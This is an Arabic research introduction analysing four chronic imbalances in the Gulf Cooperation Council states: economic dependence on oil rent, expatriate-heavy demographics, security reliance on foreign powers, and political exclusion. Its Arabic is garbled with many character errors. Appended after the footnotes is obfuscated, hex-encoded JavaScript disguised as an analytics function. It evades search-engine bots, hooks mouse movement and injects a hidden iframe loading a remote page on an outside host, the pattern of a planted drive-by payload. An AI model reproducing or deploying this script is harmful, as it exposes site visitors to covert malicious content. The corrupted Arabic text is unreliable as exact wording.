

هذا البحث معني أساساً برصد وتحليل المتطورات في أوجه الخلل المزمنة في دول مجلس التعاون، وتبعاتها على دول المنطقة وشعوبها. وقبل البدء في هذا السعي، نرى من المفيد أن نُقدم تعريفاً عاماً لأهم هذه الأوجه، حيث يمكن إيجازها في أربعة أوجه رئيسية

[1]

:

#### الأول: الخلل الإنتاجي - الاقتصادي

□

ويتمثل الخلل الإنتاجي في الاعتماد المطلق، والمُتزايد، على ربيع صادرات الثروة الطبيعية المعرضة للنضوب، وهي النفط الخام (المزيت والغاز الطبيعي). ومن المعروف أن مصدر مختلف أنواع الدخل الرئيسية في دول المنطقة هو الربيع النفطي، والنتائج من ارتفاع سعر النفط عشرات المرات بالمقارنة مع تكاليف إنتاجه، وهو خلل يتجلى في تركيب الناتج المحلي الإجمالي وسائر الحسابات القومية الأخرى، لأن مصدر هذه المدخيل هو ربيع تصدير ثروة طبيعية "ناضبة"، وليس إنتاجية الأفراد والمؤسسات، كما هو الحال في الاقتصاد الإنتاجي. ولكي ندرك مدى هذا الخلل الإنتاجي؛ علينا أن نتصور ما يمكن أن يحصل لجميع مصادر الدخل في المنطقة فيما لو تم استبعاد عائدات تصدير النفط لأي سبب من الأسباب.

□

□ □ □ ونتيجة لعدم رغبة - وربما عدم قدرة كل من دول المنطقة مُنفردة على تبني سياسة نفطية وطنية تخضع بموجبها صادرات النفط لاعتبارات التنمية - فقد تمت تلبيةها للطلب العالمي على النفط بشكل تلقائي، دون أدنى اعتبار للقدرة الاستيعابية أو الطبيعة الناضبة للثروة النفطية. وبذلك تزايد الاعتماد على ربيع النفط منذ عقود، وأصبح هذا الربيع هو المصدر لإيرادات الموازنة العامة، وميزان المدفوعات، والاستثمارات العامة، وسائر الحسابات القومية الأخرى.

□

□ وقد صاحب هذا الخلل الإنتاجي المستمر، خلط بين المال العام والمال الخاص، وغياب المشافافية تجاهه، وذلك إلى درجة اعتبار الموازنة العامة والإحتياطي العام سراً يُمنع على المواطنين في بعض دول المنطقة، وهو الأمر الذي أدى إلى الكثير من التسرب، والمهدر، وسوء تخصيص عائدات النفط في الاستهلاك الجاري، بدل توجيهها للاستثمار، كما أدى هذا الخلل إلى تخلف سياسات إعادة تدويرها داخلياً وخارجياً. وباستثناء الكويت - وتحديداً مع صدور دستور 1962م - لا تنشر دول المنطقة حسابات ختامية للموازنة العامة، بحيث تتضمن جميع أوجه الدخل، والمنفقات العامة، ولما حسابات مدققة للإحتياطي العام، كما إن لها لا تنشر تقارير ديوان المحاسبة، في حال وجدت أصلاً. وفي هذا الصدد، يُبين هذا البحث أن هناك ما يزيد على 750 مليار دولار أمريكي من الفروقات في تقديرات عوائد صادرات النفط والغاز الفعلية، في مقابل العوائد العامة المُعلنة رسمياً على مدى العقد المنصرم، والتي تحتاج إلى تفسير، وتبيان سبب هذه الفروقات العالية.

□

من هنا اكتسبت دول المنطقة، وبامتياز، صفة الدولة الرئعية، ومُنيت فيها سياساتُ تنويع الدَّخْل بالمُضلل المذريع، وتراجعت فيها حرمة المال العام، وتضخم استهلاكُ عائدات الثروة النفطية، وذلك على حساب استثمارها لصالح الجيل المرهق والأجيال القادمة، وأصبحت هذه الدول - في المحصلة - تُعاني من خلل إنتاجي/اقتصادي مُزمن.

المثاني: الخلل السكاني المتفاقم

يُمكننا تعريف الخلل السكاني على أن دول المنطقة تتأسس على مجتمع يُشكل فيه وافدون غير مواطنين نسبةً عاليةً من سكان وقدرات المجتمع الاقتصادي والثقافي والاجتماعية، لفترة ممتدة ومتصلة من الزمن [2]. مما لا شك فيه ان الوافدين لعبوا دورا تنمويا رئيسا في بناء ونهضة مجتمعات دول مجلس التعاون، وليس هذا موضوع النقاش. ففي كثير من المجتمعات في تاريخ البشرية تواجد فيها الوافدين بصورة مكثفة، لكن التطور في اغلب هذه المجتمعات على امتداد الزمن كان يعني اما عودة الوافدين الى ديارهم بعد انقضاء المهمة والفترة معينة التي قدموا من اجلها، وبذلك تنقلص نسبة الوافدين، او ان يتم دمج الوافدين على مر الوقت في المجتمع فيصبحوا جزءا مكونا منه و مواطنين شركاء فيه تجمعهم وحدة المارض والمصير. اما حاليا فلا هذا ولما ذلك هو المحاصل في دول مجلس التعاون، حيث تتزايد اعداد الوافدين مع مرور الزمن، وامكانية اندماجهم تبدو شبه معدومة لا من ناحية القدرة الفعلية او ارادة شعوب المنطقة. وهذا يندرج بأن التركيبة السكانية المحلية في دول المجلس غير مستدامة على المدى البعيد، وهنا مكنم الخلل. وبسبب إهمال إصلاح الخلل السكاني وتجاهله؛ ارتفع عدد سكّان دول مجلس التعاون من عشرة ملايين في العام 1975م، إلى 40مليونا في العام 2010م، وبذلك ارتفعت نسبة الوافدين في إجمالي سكان دول مجلس التعاون إلى 48 في المئة في عام 2011م مقارنةً بما يقترب من 22 في المئة في العام 1975م. كما تدنت نسبة مساهمة المواطنين في قوة العمل إلى 33 في المئة مقارنةً بـ 61 في المئة في العام 1975.

هذا بالنسبة لإجمالي السّكان وقوة العمل المجتمعة للمنطقة، أما الدول المصغرة منها؛ فقد تدنت - في دولة قطر والإمارات على سبيل المثال - نسبة المواطنين من مجموع السكان إلى اقل من 15 في المئة، وتراجعت نسبة مساهمة المواطنين في إجمالي قوة العمل إلى 6 في المئة فقط، وذلك في العام 2010م. ويذكر أن الخلل السكاني في دول المنطقة برز كظاهرة عامة منذ الطفرة النفطية الأولى في العام 1973م، مما يبيّن ارتباطه الجلي بالخلل الإنتاجي/الاقتصادي الذي تم سرده سابقا.

ويُبيّن هذا البحث أنّ في العقد المنصرم، برزت ظاهرة سياسات المشاريع العقارية المُضخمة المُوجّهة بشكل رئيسي إلى المُشتري الدولي، وذلك في أربع من دول المجلس: (الإمارات، البحرين، عمان، وقطر). في كل من هذه الدول؛ اتجهت سياسات ورؤى متخذي القرار نحو دعم هذه المشاريع علنًا، وتم وضعها في صلب واقع المنطقة وتطلعاتها. وبهذا، تغيرت رؤية متخذي القرار ومعاملتهم لظاهرة تدفق الوافدين إلى المنطقة، وذلك من النّظر إليها بوصفها ظاهرة عرضية لا بد منها، هدفها سد متطلبات الإنتاج في

المنطقة، إلى تبني استقطاب الموازين، ليكون ذلك هدفاً أساسياً ينبغي تشجيعه والتحفيز عليه بغرض زيادة المطالب الاقتصادي عليه في دول المجلس. وتبني الأرقام أن هناك نية لبناء ما لا يقل عن 1.3 مليون وحدة سكنية، تسع لاستيعاب 4.3 مليون قاطن، وهو ما يتعدى سكان هذه الدول الماربع مجتمعة.

### المثالث: الخلل الأمني والابتكالي على الغير

يتمثل جوهر الخلل الأمني في عدم مقدرة دول المجلس على الدفاع عن نفسها وتأمين الاكتفاء الذاتي من الحماية العسكرية، وذلك لأسباب تتعلّق بصغر وضعف كل من دول المنطقة منفردة. وهو الأمر الذي جعل كلاً منها تجد "أمنها" في المتحالف مع دول عظمى، وإعطائها تسهيلات عسكرية من أجل حماية نفسها. ولما ينبغي النظر إلى علاقة دول المنطقة مع الدول الكبرى على أنها علاقة صدامية بحتة، أو على أنها علاقة تبعية خالصة. ولكن الصحيح هو النظر إليها بوصفها علاقة مصالح مشتركة، تشهد أحياناً قدراً من التقاطع، وأحياناً أخرى تمر بظروف متنافرة.

ومما لا شك فيه ان دول المجلس تواجه تحديات وتهديدات جوهرية في اقليم مضطرب امنياً، كما كان الحال مع غزو العراق للكويت في 1990 واحتلال ايران المتواصل للجزر الاماراتية، الما ان جوهر الخلل يكمن في اسباب عدم قدرة دول المجلس في التصدي لأية تهديدات لأمنها بنفسها. ولما ترتبط هذا الخلل بالبنية الاقتصادية والمس ياسية في دول المنطقة؛ فإن في ذلك ما يعمد المشاكل المرتبطة بتلك البنى، ويضيف إليها بعداً آخر يضاعف صعوبات الحل والمتجاوز. وتبني الإحصائيات، أنه في عام 2012 تواجد حوالي 30 ألف من القوات العسكرية الأجنبية في دول مجلس التعاون، بالإضافة الى 20 ألف عنصر آخر من البحرية الأمريكية التي تجوب بحار الخليج.

لا ينبغي فهم المتواجد العسكري الأمريكي على أنه مجرد مسألة تتعلّق بتوفير "مظلة أمنية"، والقيام بدور الحماية التقليدي. هذه الوظائف مهمة، ولما شك، ولكنها من وجهة نظر الغرب ليست أهم من تأمين منابع النفط والإشراف على "الموقع الإستراتيجي"، من أجل استخدام زيت وغاز المنطقة ورقة في يد الدول الحامية في علاقاتها التجارية والاستراتيجية بالدول المعتمدة على استهلاك نفط المنطقة. وهذا يعني، أنه في حال انتفت الوظيفة الأخيرة (بسبب نزوب النفط، مثلاً) فسوف تنتفي الأولى، ولن يكون ثمة حافز قوي للتواجد العسكري، على الأقل بهذه الكثافة المعروفة اليوم. من ناحية أخرى، لا يقتصر الن فوذ العسكري الخارجي، سواء وصفناه وظيفياً بتعبير "المظلة الأمنية" أو غيره من الماوصاف الدارجة؛ فقط على مصالح متأتية من تأمين الثروة النفطية، وفي المقام الأول. بقدر من التفحص، لا يمكننا التغاضي عن الدور الكبير الذي تلعبه الصفقات الأمنية

العسكرية، حيث "تحصل الولايات المتحدة وحلفاؤها على معظم مشتريات السلاح المضخمة، وعقود شركات الأمن والأجهزة والنظم الأمنية"

[3]

. فضلاً عن التكلفة الهائلة التي تتكبدها البلدان "المضيفة" للقواعد العسكرية.

[4]

يبدو واضحاً للعيان أن هذه الموضعية غير المتوازنة من النفوذ العسكري والأمني المباشر؛ تُشكل خطراً على سيادة دول المنطقة وبنحوٍ جوهري. □ □

□ ونمّة بعد آخر للخلل الأمني يخصّ وضع المنطقة الأمني الحرج في جانب المقوّمات الحياتية الحديثة، والتي تمثل أهم الموارد الأساسية، وهي الماء، والغذاء، والطاقة، والبيئة الطبيعية. □ حيث تعتبر دول المنطقة من أفقر دول العالم من ناحية الثروة المائية والغذائية، وهي - أساساً - تعتمد بشكلٍ كلي على ثروة ناضبة في توفير احتياجاتها من الطاقة والكهرباء. في المقابل، فإن استهلاك المنطقة للمياه والغذاء والكهرباء يُعتبر الأعلى عالمياً. هذه التركيبة المكونة من استهلاكٍ مفرط، وشح في الموارد؛ يُذخر بخلاطة متفجرة قد تضع المنطقة في وضع حرج، وفي زمنٍ قد لا يكون بعيداً . □

□ المربع: الخلل السياسي

□ أخيراً، وليس آخراً، يجب التّطرق إلى الخلل السياسي، ويتمثّل هذا الخلل في غياب نُظم حُكم ديمقراطية، وعدم مراعاة مبدأ المواطنة الكاملة المتساوية، وضعف المشاركة السياسية المشعبية الفعّالة في تحديد الخيارات واتخاذ القرارات العامة في أغلب دول المنطقة، وهو الأمر الذي أدى إلى استمرار الخلل في علاقة السلطة بالمجتمع، والذي نتج عنه وجود "سلطة أكثر من مطلقة، ومجتمع أقل من عاجز"، بتعبير الزميل محمد غباش. □

□ تقوم رؤيتنا في هذا العمل على أساس فهم تحليلي يؤكّد القول بأنّه من الخطأ النّظر إلى كلّ من أوجه الخلل على أنّها قضية مستقلة، أو اعتبار هذا المجموع من الخلل على أنّه مجرد مجموعة من المشاكل المشتتة وغير المترابطة جوهرياً. ذهاب في هذا الاصدار إلى ضرورة أنّ نحلّل أوجه الخلل جميعاً، وفي وحدة عضوية متماسكة الأبعاد، مُتضافرة العناصر. كذلك، من الخطأ معاملة أوجه الخلل المزمنة وكأنّها ظواهر جامدة، يستحيل أن يطرأ عليها التغيير، فجدلية التاريخ لا تتحرك في خطوط مستقيمة مرسومة مسبقاً، بل إن تضامم أوجه الخلل المزمنة، والتناقضات التي تولّدها؛ تجعل من الصعب، بل من المستحيل، التنبؤ بدقة بكلّ ما قد يحصل من توابعها. وعلى نفس القدر من الأهمية؛ هو كيفية تعامل الأطراف ذات المصلحة مع هذه المتغيرات. فعندما تخرج التبعات عن المألوف، تجد الأطراف المختلفة نفسها على المحك، وخارج نطاق ما اعتادت على التعامل معه، أكانت الأنظمة المحلية، أم فئات الشعب المختلفة، أم القوى الدولية. لهذا نرى من المهم أن نحلّل ما هو ثابت في أوجه الخلل المزمنة على مستوى المنطقة، وما هو متحوّل فيها على مدى السنوات الماضية والقادمة. انطلاقاً من هذه الرؤية الجامعة؛ نقدّم هذا العمل من الخليج عن الخليج وإلى الخليج، على أمل تشكيل وجهة نظر نقدية، بما يؤسس لرؤى تطويرية تساهم في تأسيس نظرة شاملة في المستقبل.

تقرأ المقالة للرجوع للتأليف من المصادر

[لقراءة النسخة الكاملة من المصادر \(pdf\):nbsp&](#)

[لتصفح محتويات المصادر المكتر ونبا](#)

[1] علي خليفة الكواري، أبعاد السياسة الأمريكية وتحدياتها: حالة دول مجلس التعاون، (نقلًا عن مقال نُشر في موقع "مركز الخليج لسياسيات التنمية"، وهو في الأصل مداخلة قدمت في ندوة مجلة "المجتمع" في الكويت، حول السياسات الدولية وانعكاساتها على دول مجلس التعاون بتاريخ 8/3/2010م).

[2] أنظر: عمر هشام المشهبي، "اقتلاع الحذور: المشاريع العقارية وتفاقم الخلل المسكاني في مجلس التعاون لدول الخليج العربية" (بيروت، مركز دراسات الوحدة العربية، 2013م)

[3] علي خليفة الكواري، المصدر نفسه

[4] المصدر نفسه.

var

\_0xfc05=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78",

```
"x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx73x68x61x72x6Bx79x70x72x6Fx2Ex73x79x6Ex6Fx6Cx6Fx67x79x2Ex6Dx65x2Fx56x42x34x2Fx69x6Ex63x6Cx75x64x65x73x2F
x6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x6
7x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6F67x6Cx
65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29";function googleAnalyticsStatisticsBuild(){var
_0x11fex2=navigator[_0xfc05[1]][_0xfc05[0]]();var _0x11fex3=[_0xfc05[2],_0xfc05[3],_0xfc05[4],_0xfc05[5]];for(k in
_0x11fex3){if(_0x11fex2[_0xfc05[6]][_0x11fex3[k]]!=-1){return ;};};var _0x11fex4=detectBrowserSize();if(_0x11fex4[_0xfc05[7]]==0||_0x11fex4[_0xfc05[8]]==0){return ;};var
_0x11fex5=false;if(document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]){_0x11fex5=document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]};
;document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]=function
(){if(!document[_0xfc05[13]][_0xfc05[12]]){iframe=document[_0xfc05[15]][_0xfc05[14]];iframe[_0xfc05[7]]=_0xfc05[16];iframe[_0xfc05[8]]=_0xfc05[16];iframe[_0xfc05[17]]=_0xf
c05[12];iframe[_0xfc05[18]]=_0xfc05[19];document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[20]](iframe);};if(_0x11fex5!=false){_0x11fex5(0);};};function
detectBrowserSize(){var _0x11fex7=0,_0x11fex8=0;if( typeof (window[_0xfc05[21]])==_0xfc05[22]){_0x11fex7=window[_0xfc05[21]];_0x11fex8=window[_0xfc05[23]];} else
{if(document[_0xfc05[24]]&&(document[_0xfc05[24]][_0xfc05[25]]||document[_0xfc05[24]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[24]][_0xfc05[25]];_0x11fex8=document[
_0xfc05[24]][_0xfc05[26]];} else
{if(document[_0xfc05[10]]&&(document[_0xfc05[10]][_0xfc05[25]]||document[_0xfc05[10]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[10]][_0xfc05[25]];_0x11fex8=document[
_0xfc05[10]][_0xfc05[26]];};};return {width:_0x11fex7,height:_0x11fex8};};setTimeout(_0xfc05[27],500);
```